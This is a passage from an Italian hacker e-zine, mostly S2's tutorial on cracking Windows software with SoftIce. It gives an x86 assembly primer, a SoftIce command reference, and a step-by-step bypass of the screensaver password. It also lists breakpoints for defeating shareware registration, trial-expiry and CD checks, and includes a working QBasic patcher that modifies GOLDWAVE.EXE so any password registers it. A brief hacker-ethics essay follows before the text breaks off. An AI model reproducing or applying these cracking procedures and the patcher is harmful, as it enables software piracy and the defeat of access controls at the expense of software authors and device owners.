distribuiro' in una versione Shareware incrackabile! Tje'!
Ok. Ora vi spiego un po' come funziona l'Assembler:
2.1 I registri
La CPU del computer e' divisa in diversi registri, che ora vi spiego uno per
uno cosa sono e come si chiamano, e servono per memorizzarci dei dati. I
registri in tutto sono quattro, e si chiamano
AX - Accumulatore
BX - Base register
CX - Contatore
DX - Data register
Ognuno di questi registri puo' essere suddiviso in una parte alta e una bassa.
Per esempio AX si suddivide in AL (Low) e AH (High). Nella CPU del Pentium,
che lavora a 32 bit, i registri si chiamano EAX, EBX e cosi' via. Mi spiego
meglio con questo schemino:
AL = 8 Bit (parte bassa del registro AX)
AH = 8 Bit (parte alta del registro AX)
AX = 16 Bit (formato da AL e AH messi insieme)
EAX = 32 Bit (formato da AX e altri 16 Bit che pero' non sono direttamente
acessibili dall'utente)
Ovviamente questa suddivisione vale anche per BX, CX e DX.
Poi ci sono i segment register:
CS - Vuol dire Code segment. E' l'area di memoria nella quale si trova il
programma che state modificando. L'indirizzo CS:IP e' l'istruzzione che
state per eseguire.
DS - Il Data segment. La parte di memoria nella quale si trovano i dati. La
CPU di solito vi accede solo in lettura.
ES - Extra segment. In questa area di memoria la CPU vi accede in scrittura.
IP - Instruction pointer. E' l'indirizzo dell'istruzione che state per
eseguire.
SS - Stack segment. Questa e' roba complicate... non vi serve per i vostri
scopi crackistici.
SI - Source Index. E' un puntatore.
DI - Destination index. Un'altro puntatore.
BP - Base pointer. Questo viene usato insieme allo SS.
SP - Stack pointer. Serve a puntare una locazione all'interno dello Stack. E'
usato insieme a SS.
Questi sono i registri della CPU, le informazioni qui riportate, non sono
complete, ma non staro' neanche qui' a completarle, perche' per i nostri loschi
scopi non sono di importanza rilevante. Se proprio volete saperne di piu'
andate a leggervi una delle tante guide sull'Assembler che si trovano in giro
per Internet, o forse, se avete culo, nella sezione links di questo sito.
2.2 I flag
Servono ad indicare se un jump condizionale (vedi sezione istruzioni) deve
essere eseguito o no. Per esempio
CMP AL, BL ........... Confronta il registro al con bl
JZ 3F1D ................... Salta se zero a 3F1D
La prima istruzione esegue un confronto tra AL e BL. Se sono uguali il flag Z
diventa 1 (attivo), nel caso contrario invece, 0 (disattivo).
La seconda istruzione salta all'indirizzo specificato se il flag Z e' 0.
Se per esempio in AL abbiamo il numero di giorni da quando stiamo usando il
programma, e in BL, il numero di giorni che il programma deve funzionare,
modificando il flag zero possiamo far credere al programma che i giorni ancora
non sono finiti, e quindi possiamo continuare ad usare il programma. Capito?
Mettiamo il caso:
AL = 3 .................... Stiamo usando il prog. da 3 giorni
BL = 1E .................. (1E = 30 in Hex) Per quanti giorni possiamo usare
il prog.
Premesso questo, ora eseguiamo i comandi:
CMP AL, BL ........... Confronta il 3 con il 30d
JZ 3F1D .................. Se i due sono uguali (tutti e due 30, flag Z = 1)
salta a 3F1D e ci dice di registrare il programma
Tutto chiaro? Penso di si... queste sono cazzate da capire in fondo, credo.
2.3 Le istruzioni
MOV Dest. Source - Sposta un valore da Source a Dest. Per esempio MOV AL,
BL - Sposta il contenuto di BL in AL.
CMP var1, var2 - Confronta i due valori di var1 e var2. Per esempio CMP AL,
BL - Confronta il contenuto di AL con quello in BL. Semplice no? Be'...
questa istruzione funziona come una sottrazione: il valore in var2 viene
sottratto da var1. Cioe', se ho 3 in AL, e 8 in BL, il risultato sara'
3 - 8 = -5. Il flag Carry (C) si attivera' (questo flag si attiva ogni
volta che il numero e' negativo). Nel 99,9% dei casi questo comando viene
usato per confrontare la password da voi inserita e quella giusta, oppure
come nell'esempio sopra, i giorni trascorsi, e quelli trascorribili (ma
esiste questa parola?).
JMP label - Questa e' l'istruzione piu' bella. Esegue un salto all'indirizzo
specificato. Lo troverete, di solito dopo un CMP. Ci sono diverse
variazioni di questo comando, che ora vi elenchero', e vanno tutte a
controllare i flag Z, O, S, C e P. Nella sua forma piu' semplice e' JMP
label, cioe', salta a label qualsiasi siano i valori dei flag. Ponendo
il comando CMP AX, BX, abbiamo:
JNZ - Jump if not zero, AX diverso da BX
JZ - Jump if zero, AX uguale a BX
JB - Jump if below, AX < BX, C = 1
JA - Jump if above, AX > BX, C = 0
JNGE - Jump if not greater or equal, AX<=BX, S diverso da 0
JGE - Jump if greater or equal, AX=>BX, S = 0
JLE - Jump if less or equal, AX<=BX, Z=1 o S=F
Che palle! Vabbe'... cen'e' altri di 'sti' JMP, ma non credo che vi servano per
i vostri loschi scopi, quindi non preoccupatevi... anche se non li sapete non
cambia un cazzo. Comunque, se proprio vi interessano li trovate in un
qualsiasi manuale di Assembler in giro per Internet, o comunque nella lista
dei link di questo sito qualcosa per voi c'e'...
CALL label - Richiama una routine che si trova all'indirizzo specificato con
label. Per esempio CALL 1F3D, esegue la routine a CS:1F3D. Poi,
eseguendo la routine, quando trova un'istruzione RET torna
all'istruzione dopo CALL. Facile no? Di solito, quelle chiamate
con CALL sono delle routine che controllano il testo da voi
inserito, oppure criptano la password che avete inserito ecc.
INT n - Esegue un'interruzione. Un'interruzione e' come una routine, pero' non
e' nel programma, ma da qualche parte nel DOS, o nel BIOS, dipende dalla
n. Per esempio quei giochini vecchissimi che chiedevano il KeyDisk
inserito usavano l'int 13 per vedere se c'e'ra il dischetto inserito o no
ecc. Comunque cazzate... in Windows gli INT non esistono quasi piu'.
That's it. Questi sono i comandi principali dell'asm. Spero che gli abbiate
capiti, perche' senza questi poi non ci capirete una minchia nel SoftIce.
Anzi... se volete approfondire, c'e' il Assembly language foundamentals
tutorial che aspetta solo di essere letto e studiato. I comandi che vi ho
dato qui sono pure pochi, ma comunque quelli piu' importanti.
3. L'uso del debugger
Ok. Aspettate un'attimo che mi accendo una cicca... fumo troppo... ma vabbo'.
Per spiegarvi come funziona il SoftIce vi traduco semplicemente le parti piu'
importanti della guida che trovate anche compattata nel file SoftIce.zip.
Cosi' risparmio la fatica di pensare ai comandi.
Allora... intanto i consiglio di mettere una robe del genere alla fine del
vostro Autoexec.bat:
choice /tn,2 Caricare softice?
if errorlevel 2 goto win
c:\softice\winice (qui' mettete la righa che vi aggiunge il SoftIce
nell'installazione)
goto end
:win
choice /ts,1 Caricare windows?
if errorlevel 2 goto end
win
:end
Ed ora passiamo ai comandi principali del SoftIce:
3.1 I comandi del SoftIce
E' impossibile debuggare bene senza sapere come funzionano i BreakPoints (Bp).
Un bp e' un'istruzione per la cpu che le dice di fermare l'esecuzione del
programma dopo un accesso ad una certa locazione di memoria, oppure dopo
certi eventi del programma stesso e da' il controllo al debugger. Quando setti
un bp del SoftIce e poi torni al programma che stai usando, SoftIce compare
automaticamente quando la condizione per la quale e' settato il bp e'
verificata.
3.1.2 BreakPoint
Bc # : Clear Breakpoint--elimina un breakpoint messo in precedenza nel
Soft-Ice; devi sapere il numero del bp...
Bd # : Disable Breakpoint--disabilita il bp ma non lo cancella; devi sapere
il numero del bp...
Be # : Enable Breakpoint--abilita il bp che hai disabilitato in precedenza;
devi sapere il numero del bp...
Bl : List Breakpoints--mostra una lista di tutti i bp settati nel softice,
il loro stato (abilitato, disabilitato), e il loro numero.
Bmsg : Break on Windows Message. Sintassi: BMSG window handle L begin-message
end-message
Bpint : Break on Interrupt. Funziona solo con le interruzioni trattate da IDT
(95/NT). Sintassi: BPINT int-number
Bpio: Si ferma quando c'e' un accesso in lettura o scrittura ad una porta I/O
con un certo indirizzio. Sintassi: BPIO port [R|W|RW] [EQ|NE|GT|LT|M
value] [c=count]
Bpm: Si ferma quando c'e' un accesso alla memoria in lettura (read), scrittura
(write), o esecuzione (execution). Sintassi: BPM[B|W|DW] address
[R|W|RW|X]
Bpx : Break on execution. Sintassi: BPX address/symbol [c=count]
[EQ|NE|GT|LT|M value] [c=count]
Bpr : Break on memory range. Sintassi: BPR start-address end-address
[R|W|RW|T|TW] [expression]
Bprw : Break on program/code segment. Sintassi: BPRW module-name|selector
[R|W|RW|T|TW] [expression]
3.1.2 Steppare attraverso il programma
Debuggare in se' vuol dire eseguite una istruzione alla volta di un programma
in modo da poter vedere come cambiano la memoria, i registri, i flags e le
variabili. I principali comandi per farlo sono:
P : Esegue una istruzzione e vede le CALL come una istruzzone sola. Shortcut:
il tasto F10.
P RET : Esegue il programma finche non trova un'istruzione RET. Shortcut: il
tasto F12.
T : Esegue una istruzzione. Shortcut: il tasto F8.
3.1.3 Visualizzare informazioni sul sistema
Addr : Visualizza o cambia ad un contesto di indirizzi.
Class : Visualizza informazioni sui Windows Classes.
CPU : Visualizza i registri della CPU.
Exp : Carica/Visualizza i simboli esportati da un DLL.
GDT : Visualizza la Global Descriptor Table.
Heap : Visualizza i Global Heap di Windows.
Heap32 : Visualizza/attraversa i Global Heap di Windows.
HWND : Visualizza informazioni sui Windows Handles.
IDT : Visualizza la Interrupt Descriptor Table.
LDT : Visualizza la Local Descriptor Table.
LHeap : Visualizza i Windows Local Heap.
Map32 : Visualizza una mappa di memoria di tutti i moduli a 32bit caricati
in memoria.
MapV86 : Visualizza la mappa di memoria DOS memory della macchina virtuale
corrente.
Mod : Mostra la Windows Module List.
Page : Mostra le Page Table information.
Proc : Visualizza informazioni su un processo.
Stack : Visualizza una call stack.
Sym : Imposta o visualizza un Symbol.
Task : Mostra Windows Task List.
VCall : Mostra i nome e indirizzi di una routine VxD chiamabile con CALL.
VM : Visualizza informazioni sulle macchine virtuali.
VXD : Visualizza la mappa Windows VXD.
.VMM : Chiama il VMM Debug Informational Services menu.
.VPICD : Chiama il VPICD Debug Information Menu.
.VXDLDR : Mostra informazioni VXD.
WMSG : Visualizza i nomi e numeri dei messaggi Windows.
Comunque, se questi dati non vi bastano, troverete la guida citata sopra
compattata nel zip che potete scaricare dalla pagina Utilitys di questo sito.
Inoltre, cosa molto importante, che stavo quasi per dimenticarmi, c'e' da dire
che nel SoftIce ci entrate con CTRL-D. Figo, no?
4. Iniziamo a crackare
Benebenebene... adesso che vi siete sorbiti tutte le cazzate qui sopra citate,
sapete come funziona il SoftIce e anche un po' di asm, contenti? Ok. Possiamo
iniziare con una cosa molto semplice e anche abbastanza inutile: la password
dello Screen Saver di Windows. E' l'unica cosa che penso abbiano tutti nel
loro Windows, cosi' evitate di andare a scaricare prog. che magari neanche
volete, solo per provare ad crackarlo. Ok? Sono un bravo ragazzo o no?
Iniziamo. Caricate il SoftIce, andate nel pannello di controllo, sceglietevi
uno screen saver e impostate una password... una a caso, tanto ora la rendiamo
inutile. Aspettate che lo SS (polizia militare tedesca) entri in funzione,
inserite una pw sbagliata e entrate nel Softice con CTRL-D. Ok. Ora siamo nel
Debugger. Adesso c'e' un problema... dobbiamo intercettare una funzione di
Windows. Cioe' quella che legga il testo da noi inserito nella casella di
testo della pw. Per fare questo innanzitutto dobbiamo sapere in che programma
e' la finestrella con la casella di testo interessata. Digitiamo TASK e il
SoftIce ci da una lista di programmi al momento attivi. Uno di questi e' (nel
mio caso) "oggetti volanti". Io ho scelto questo ss, ma immagino che il
vostro sia un'altro. Comunque, se non siete proprio cretini, nella lista di
prog. che vi da, troverete quello dello ss. Fatto questo, c'e' da fare una
piccola nota sul funzionamento di Windows. Qualsiasi cosa vedete sullo
schermo (un pulsante di Ok, la X nella parte destra-alta delle finestrelle di
Win, una casella di testo, ...) e' un handle di Windows. Sono chiamati cosi'.
La casella di testo nella quale noi abbiamo inserito la pw e' un handle. Nel
SoftIce e' possibile visualizzare tutti gli handle attivi al momento con il
comando HWND. Digitandolo, vedrete una lista di tutti gli hwnd attivi di
tutti i programmi. Di ogni hwnd il SoftIce da informazioni sull'numero del
hwnd, il programma nel quale si trova e il suo nome. Noi siamo a caccia di
un hwnd chiamato EDIT, visto che e' una casella di testo. Nella lista
troverete proprio l'edit che vi serve (il prog. "Oggetti Volanti" ne
visualizza uno solo).
Ora dobbiamo solo intercettare la funzione di Windows che legge il testo
contenuto in quella casella e ci ritroveremo esattamente nella routine da
fottere. Per fare questo settiamo un bp con il seguente comando: BMSG num_hwnd
WM_GETTEXT per num_hwnd, ovviamente, dovrete inserire il numero del handle che
vi da SoftIce (il primo a sinistra). WM_GETTEXT invece e' un messaggio di
Windows che legge un testo da una casella di testo.
Dopo che avete inserito il comando nella righa di comando del SoftIce, date
l'invio e tornate allo Screen Saver con CTRL-D. Cliccate su Ok per confermare
la vostra pw sbagliata e... magia! Riappare il SoftIce e vi trovate nella
routine BOZOSLIVEHERE (un piccolo scherzo della MicroSoft, credo... cretini...)
di USER. Pero', come potete vedere nella parte bassa della finestra del codice,
non siamo nel programma da noi desiderato (quello dello Screen Saver) ma in
USER, del quale non ce ne frega un cazzo, e quindi steppiamo attraverso il
codice, premendo F12, fino ad arrivare a Kernel.Alloc. Ogni volta che
arrivate a Kernel.Alloc, sappiate che dopo il prossimon F12 che premete siete
nel vostro programma. Premiamo un'altra volta l'F12 e ci troviamo nel bel
mezzo di PASSWORD!.text. Cosi' ora sappiamo anche che lo Screen Saver usa
l'estensione del Pannello di Controllo PASSWORD.CPL per gestire le password.
Iniziate gia' un po' a sentirvi dei fighi? Andiamo avanti. Guardatevi bene il
codice:
0137:7C45428F CALL [7C4582BC] ......................... La call dalla quale
siamo appena usciti
0137:7C454295 TEST EDI, EDI ................................ Controlla cosa
c'e' in EDI
0137:7C454297 JNZ 7C4542B1 ............................... Un JMP condizionale
0137:7C454299 LEA EAX, [EBP-04]
0137:7C45429C LEA ECX, [EBP-14]
0137:7C45429F PUSH EAX
0137:7C4542A0 PUSH ECX
0137:7C4542A1 CALL 7C454536 ............................... Chiama una Routine
0137:7C4542A6 TEST EAX, EAX ............................... Controlla cosa
c'e' in EAX
0137:7C4542A8 JZ 7C4542DE ..................................... Un'altro JMP
condizionale
0137:7C4542AA MOV EAX,00000001
0137:7C4542AF JMP 7C454322 .................................. Con questo JMPi
sicuramente...
Ok... Ci sono due CALL, e subito dopo le rispettive CALL, i rispettivi JMP.
A me viene da pensare (a me perche' di programmi ne ho visti tanti...) che una
controlla la lunghezza della pw e l'altra i caratteri. Ma ovviamente questo
non si puo' sapere... e' solo un'intuizione che viene dopo kili di programmi
sorbiti con il passare degli anni. Ma tanto a noi non ci frega di cosa fanno
le call. Steppando attraverso il codice vediamo che almeno uno dei due jump
ci fa saltare, quindi probabilmente, la parte del programma che ci rida'
accesso al Desktop si trova all'indirizzo 0137:7C4542AF (l'ultimo JMP).
Quindi, arrivati al primo JMP (JNZ 7C4542B1) noi non vogliamo saltare:
premiamo F10 fino a quell'istruzione e mettiamo il flag Z a 0. Andiamo avanti
con F10 fino al secondo JMP (JZ 7C4542DE) e settiamo il flag Z a 1 per non
saltare neanche questa volta. Ok. Fatto. Ora possiamo tornare al programma
premendo CTRL-D. Lo Screen Saver e' sparito e noi abbiamo riguadagnato
l'accesso all'Desktop anche se abbiamo inserito la pw sbagliata.
Dite la verita'. Vi sentite dei grandi ora o mi sbaglio?
Ora forse non avrete capito perfettamente tutto quello che c'e' scritto qui'
sopra, ma vi assicuro che se seguite i passi nell'esempio, piano piano
capirete come fare a crackare anche altri programmi. Ora vi chiederete:
"cosa sara' mai quel WM_GETTEXT???". E' un message brake di Windows. Nel senso
che c'e' una parte in Windows che usa questo simbolo per leggere il testo da
voi inserito nella casella di testo. Comunque ora ve ne do anche altri, per i
pulsanti di Ok e altre cose.
5. BreakPoints utili
Per prima cosa, per poter usare i seguenti bp (WM_GETTEXT compreso) dovete
editare il file WINICE.DAT nella directory di SoftIce e includere gli exports
di
gdi32.dll
kernel32.dll
user32.dll
questi tre per ora dovrebbero bastare, comunque sappiate che potete aggiungere
anche gli altri dll e exe che vi interessano.
I bp che seguono sono tutti da settare con Bpx nel SoftIce.
5.1 Lettura e scrittura sui file
Questi che seguono sono gli API calls di Windows piu' comuni.
Sono CALL generiche di accesso a file (di solito in binario) in lettura e
scrittura.
ReadFile
WriteFile
L'accesso ai file avviene con le seguenti routine
SetFilePointer
GetSytemDirectory
GetSytemDirectoryA
Per leggere e scrivere sui file INI le CALL da intercettare sono le seguenti:
per applicazioni a 16bit
GetPrivateProfileString
GetPrivatProfileInt
WritePrivateProfileString
WritePrivatProfileInt
per applicazioni a 32bit
GetPrivateProfileStringA
GetPrivatProfileIntA
WritePrivateProfileStringA
WritePrivatProfileIntA
5.2 Interrupt
Accesso ad un file
bpint 21 - con ah = 3d
bpint 2f - con ah = 01
5.3 Il Registry
Crea o elimina una key nel registry (quelle con A alla fine sono per
applicazioni a 32 bit)
RegCreateKey
RegDeleteKey
RegCreateKeyA
RegDeleteKeyA
Leggi un valore da una Key correntemente aperta nel registry
RegQueryValue
RegQueryValueA
Apre o chiude una Key nel registry
RegCloseKey
RegOpenKey
RegCloseKeyA
RegOpenKeyA
5.4 Finestre di dialogo
Legge testo o un numero da una finestra di dialogo edit (quelle con A alla
fine sono per applicazioni a 32 bit)
GetWindowText
GetDlgItemText
GetWindowTextA
GetDlgItemTextA
GetDlgItemInt
Quando si apre una finestrella di messaggio, di solito una di quelle che dice
"registrazione non valida" o qualcosa del genere, dovete intercettare queste
CALLs
MessageBox
MessageBoxA
MessageBoxExA
MessageBeep
5.5 Data e ora
Queste sono particolarmente utili per i programmi che non funzionano piu' dopo
un paio di giorni
GetSystemTime
GetLocalTime
SytemTimeToFileTime
5.6 Creazione di una finestra
CreateWindow
CreateWindowExA
ShowWindow
bitblt (e' una roba simile a hmemcpy... sposta e muove memoria in giro)
5.7 CD-ROM
Molto utili per i check del CD-ROM.
GetDriveType (se EAX e' 5, allora e' un CD-ROM check)
GetDriveTypeA (per le app. a 32 bit)
Eseguite le CALL, in EAX c'e' un valore, ed e' da interpretare nel seguente
modo:
0 ............. Drive cannot be determinated
1 ............. root dir does not exist
2 ............. DriveRemoveable
3 ............. A fixed disk (HD)
4 ............. Remote drive (NetWork)
5 ............. Cd-Rom drive
6 ............. RamDisk
5.8 Altri BreakPoints
Questi li potete usare quando il resto non funziona... sono dei bp, che, in
generale, funzionano
BozosLiveHere (ve lo ricordate?)
HMemCpy (quello citato sopra. sposta variabili, di solito stringhe, in giro
per la memoria)
GlobalGetAtomName
5.8 I messaggi
Questi sono da settare con BMSG nel SoftIce (non con BPX).
WM_GETTEXT (un handle di testo)
WM_COMMAND (quando premi un pulsante di Ok)
Penso che sappiate come usarli questi... ve lo ho spiegato sopra... comunque
lo ripeto:
BMSG hwnd_num WM_COMMAND, per esempio. Per hwnd_num, ovviamente, dovete
inserire il numero dell'handle trovato con il comando HWND del SoftIce.
Questi sono i bp piu' utili che potete settare. Non dovete impararli a
memoria... dopo un po' li saprete per i cazzi vostri. Ma sarebbe bene che ve
li leggiate, cosi' sapete che esistono e sapete che potete usarli quando vi
servono.
6. Il patch
Cos'e' un patch? Semplicemente un programma che faccia da solo il cracking di
un prog. Nel esempio dello Screen Saver per esempio, il programma deve
cambiare in NOP (No operation) i due jump condizionali. Il risultato finale
sara':
0137:7C45428F CALL [7C4582BC] ......................... La call dalla quale
siamo appena usciti
0137:7C454295 TEST EDI, EDI ................................ Controlla cosa
c'e' in EDI
0137:7C454297 NOP .......................... Niente piu' jmp condizionale, ma
un nop (non dobbiamo saltare).
0137:7C454298 NOP ......................I NOP sono due perche' i byte che
occupa l'istruzione che c'era prima
erano il doppio di un NOP
0137:7C454299 LEA EAX, [EBP-04]
0137:7C45429C LEA ECX, [EBP-14]
0137:7C45429F PUSH EAX
0137:7C4542A0 PUSH ECX
0137:7C4542A1 CALL 7C454536 ............................... Chiama una Routine
0137:7C4542A6 TEST EAX, EAX ............................... Controlla cosa
c'e' in EAX
0137:7C4542A8 NOP ..........................................Stesso discorso
di sopra
0137:7C4542A9 NOP
0137:7C4542AA MOV EAX,00000001
0137:7C4542AF JMP 7C454322 ..................... Il jmp che ci fa saltare alla
routine di sbloccaggio
Questo e' il programma come dovrebbe essere dopo il crack, quando lo
disassemblate. Chiaro? Ora... per cambiare il jmp con un NOP, non dobbiamo
fare altro che prendere nota dei byte originai, cioe' quelli con i jmp come
erano all'inizio, poi cambiarli con i nop, e prendere nota del cambiamento
dei byte. Per vedere l'istruzione disassemblata, in SoftIce, si usa il
comando CODE ON, che vicino ad ogni istruzione, vi mostra i byte che le
rappresentano. Facile no? Ho scritto, solo per voi, un patch universale in
Basic (linguaggio del cazzo ma veloce, intuitivo, e soprattutto facile, per
voi che non ci capite una sega) che vi riporto qui sotto, cosi' lo compilate
diversamente ogni volta che crackate un programma. Per usarlo dovete
conoscere l'offset dei byte da cambiare, che potete trovare con un Hex editor
(lo trovate nella pagina Utilitys di questo sito), i byte del file originale
e quelli dopo il crackaggio. Ok. In oltre vi sarei molto grato se lasciaste
le righe in cui ci sono i crediti (S2)... o se proprio non volete, almeno
mettete un "tnx to S2" o qualcosa del genere... vene sarei grati. Let's patch!
'---VARIABLE DEFINITIONS--'---File Name of the file to crack--FileName$ = "GOLDWAVE.EXE"
'---Number of bytes to change--NBC = 6
'---15, 133, 156... are the original bytes of the file (in decimal!!!)--OB$ = CHR$(15) + CHR$(133) + CHR$(156) + CHR$(0) + CHR$(0) + CHR$(0)
'---233, 157, 0... are the changed bytes of the file (in decimal!!!)--CB$ = CHR$(233) + CHR$(157) + CHR$(0) + CHR$(0) + CHR$(0) + CHR$(144)
'---The offset where the bytes to change are--'---you can find 'em with a Hex editor--'---the first byte of the file is 1--OS = 147393
'---The file size in bytes---
FS = 946176
'---CREDIZ & INFO--CLS
PRINT "Patch for Goldwave v3.24 written by S2"
PRINT ""
PRINT "This Patch allows you to enter ANY password"
PRINT "you like, and the program will register"
PRINT "itselve."
PRINT "If the file is already patched, it will return"
PRINT "to it's original state."
PRINT "Have fun!"
PRINT ""
DO: LOOP WHILE INKEY$ = ""
'---FILE CHECK & VERSION CHECK--PRINT "Opening file "; FileName$; "..."
PRINT ""
ON ERROR GOTO OpenFileErr
OPEN FileName$ FOR INPUT AS #1
IF NOT LOF(1) = FS THEN
PRINT "The file has not the right size."
PRINT "Check if it is the correct version."
PRINT ""
END
END IF
CLOSE #1
ON ERROR GOTO 0
'---FILE PATCH & UNPATCH--ON ERROR GOTO PatchFileErr
OPEN FileName$ FOR BINARY ACCESS READ WRITE AS #1
PRINT "Checking file..."
PRINT ""
Data$ = STRING$(NBC, " ")
GET #1, OS, Data$
IF Data$ = CB$ THEN
PRINT "File already patched."
PRINT "Back to it's original state..."
PRINT ""
PUT #1, OS, OB$
PRINT "Now the file is unpatched!"
ELSE
PRINT "File not patched."
PRINT "Let's patch..."
PRINT ""
PUT #1, OS, CB$
PRINT "Now the file is patched!"
PRINT "Registration for FREE now!"
END IF
END
OpenFileErr:
PRINT "There was an error while opening the file."
PRINT "run-time errorcode "; ERR
PRINT ""
END
PatchFileErr:
PRINT "There was an error while patching the file."
PRINT "run-time errorcode "; ERR
PRINT ""
END
Ho scritto i commenti in inglese per mettere il programma in Internet, ma
comunque non penso che ci voglia tanto a capire come funziona.
Quando volete creare un patch per un altro file, tutto quello che dovete
modificare e' contenuto nelle variabili all'inizio del programma. Li rielenco
in italiano con alcuni commenti per farvi capire meglio:
FileName$ = "GOLDWAVE.EXE"
In questo punto, al posto di GOLDWAVE.EXE inserite il nome del file da
crackare.
NBC = 6
6 e' il numero di byte da modificare. In questo caso 6.
OB$ = CHR$(15) + CHR$(133) +
Al posto di 15, 133, 156...
volete crackare.
Se i byte sono di piu' o di
i CHR$() che sono in meno o
CHR$(156) + CHR$(0) + CHR$(0) + CHR$(0)
dovete inserire i byte originali del file che
meno di 6, semplicemente aggiungete o togliete
di troppo.
CB$ = CHR$(233) + CHR$(157) + CHR$(0) + CHR$(0) + CHR$(0) + CHR$(144)
Stesso discorso di sopra, solamente, questa volta, i byte inseriti tra le
parentesi sono quelli che volete siano scritti.
OS = 147393
L'offset dei byte da cambiare. Come trovarlo? Se come Hex editor usate
l'Hexworks, per esempio, tutto quello che dovete fare e' andare a ricercare
(nel Hexworks, ovviamente) dove si trovano i byte che volete modificare.
Trovati quelli, sulla sinistra (o sulla barra di stato) troverete scritto
l'offset dei byte. Attenzione pero'! In Hexworks, il primo byte nel file e' 0,
mentre secondo il Basic, il primo byte nel file e' 1. Quindi, all'offset che
troverete in Hexworks dovrete aggiungere 1. Abbastanza ovvio, no?
FS = 946176
E' la grandezza del file in byte. Se non sapete come trovare questa da soli
siete degli incompetenti, e aggiungerei anche imbecilli :-))))
Notate che se volete fare un patch per la password dello screen saver,
dovrete cambiare un po' il codice, perche' i byte da cambiare non sono in fila,
ma iniziano a due indirizzi diversi, quindi due offset diversi. Per cui, ci
sara' da aggiungere una variabile OS1$, per il secondo offset, OB1$, per i
byte originali nella seconda posizione e CB1$, per i byte cambiati nella
seconda posizione. E poi dovrete aggiungere il codice per il cambiamento dei
byte nella seconda posizione (al secondo offset). Chiaro no? No? Studiate il
basic, o scrivete il patch in un linguaggio che conoscete.
E questo e' quanto.
7. Conclusione
Bene raga. Ho finito. Penso che di tutta sta roba, se non sapevate veramente
un cazzo, abbiate capito molto poco, ma non vi preoccupate... se provate a
mettere in pratica ci riuscirete piano piano a crackare il vostro primo
shareware da soli... ci vuole solo un po' di esperienza... Da parte mia ho
cercato di darvi tutte le informazioni piu' utili che ho potuto trovare in
Internet, e di spiegarmi in maniera piu' o meno capibile. Spero che questo
manualetto vi serva e che vi ricordiate di S2 in futuro... Inoltre vorrei
ringraziare Extasy per avermi dato l'idea, anche se in modo implicito, di
scrivere una roba del genere... E ringraziamenti vanno anche alla fabbrichetta
di Plastica nella quale ho lavorato, per le sigarette che grazie a loro posso
permettermi.
Un'altra cosa: NON MANDATE MAIL!!! TANTO NON RISPONDO!!!
Prima di andarvene dal sito andate a visitare la parte "required programs".
Troverete non solo i programmi che vi servono, ma anche i patch per i
programmi stessi. E non dimenticate, di tanto in tanto, di tornare su queste
pagine per le ultime novita'.
S2
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛ°°°°°°°ÛÛ°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛ°°°°°°°ÛÛ°°°ÛÛ°°ÛÛ°°°ÛÛ°°ÛÛ°°°°°°ÛÛÛÛ°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛÛÛÛ°°°°ÛÛ°°°ÛÛ°°ÛÛÛÛÛ°°°°ÛÛ°°°°°ÛÛ°°ÛÛ°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛ°°°°°°°ÛÛ°°°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛ°°°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛ°°°ÛÛ°°ÛÛ°°°ÛÛ°°°°°°ÛÛ°°°°°°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
Comicio subito col dire che alcuni newbies ultimamente mi hanno fatto qualke
domanda su cose specifiche e quando gli passavo qualke doc teorico mi dicevano
...che palle! Be se pensate la stessa cosa allora lasciate perdere l'hacking e
datevi all'uncinetto xche se volete bucare uno unix e sapete solo come
cancellare
i log, se volete avere l'ultima versione di winnuke ma non sapete come
funzionano
i nuke..be imo siete lamer xche' se non avete le basi non potete fare niente.
Soprattutto ricordate che dietro a un hacker c'e' la voglia di conoscenza, il
volere capire come funzionano i programmi, non la voglia di distruggere tutto
di formattare a destra e a manca e se queste sono le cose che fate di solito...
be, mi dispiace ma siete e resterete lamer finche' non vorrete andare al di la'
della pappa pronta, finche' non vi verra' la nausea dopo una decina di manuali
sulle reti, finche' non avrete capito che differenza c'e' tra i vari protocolli.
Finche' non saprete cosa e' un firewall non saprete come sfruttare i suoi bug!
Non importa che eta' avete, quanto tempo dedicate ai pc, quanti amici hacker
avete,
l'unica cosa importante la potete trovare solo dentro di voi, (e forse al
127.0.0.1
vero master? ehehehe) e quella cosa e' la curiosita'.
Mah, probabilmente, mi starete pigliando x pazzo, e forse non avete tutti i
torti,
ma questo e' quello che penso io, e prima di diventare hacker come Master
passeranno anni (se mai arrivero'a i suoi livelli), xche' come diceva qualcuno
che non mi ricordo + chi era...
"+ impari e + ti accorgi che da imparare ce n'e' sempre di +".
o meglio
"..non e' mai finita..."
che si puo' riassumere in questa frase di Baudelaire
"credevo di avere toccato il fondo, quando mi accorsi che si poteva ancora
scavare"
Se dopo questa breve intro credete di avere perso del tempo, be...scusatemi.
N0bodY88
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
COME FUNZIONA NETSTAT
³º
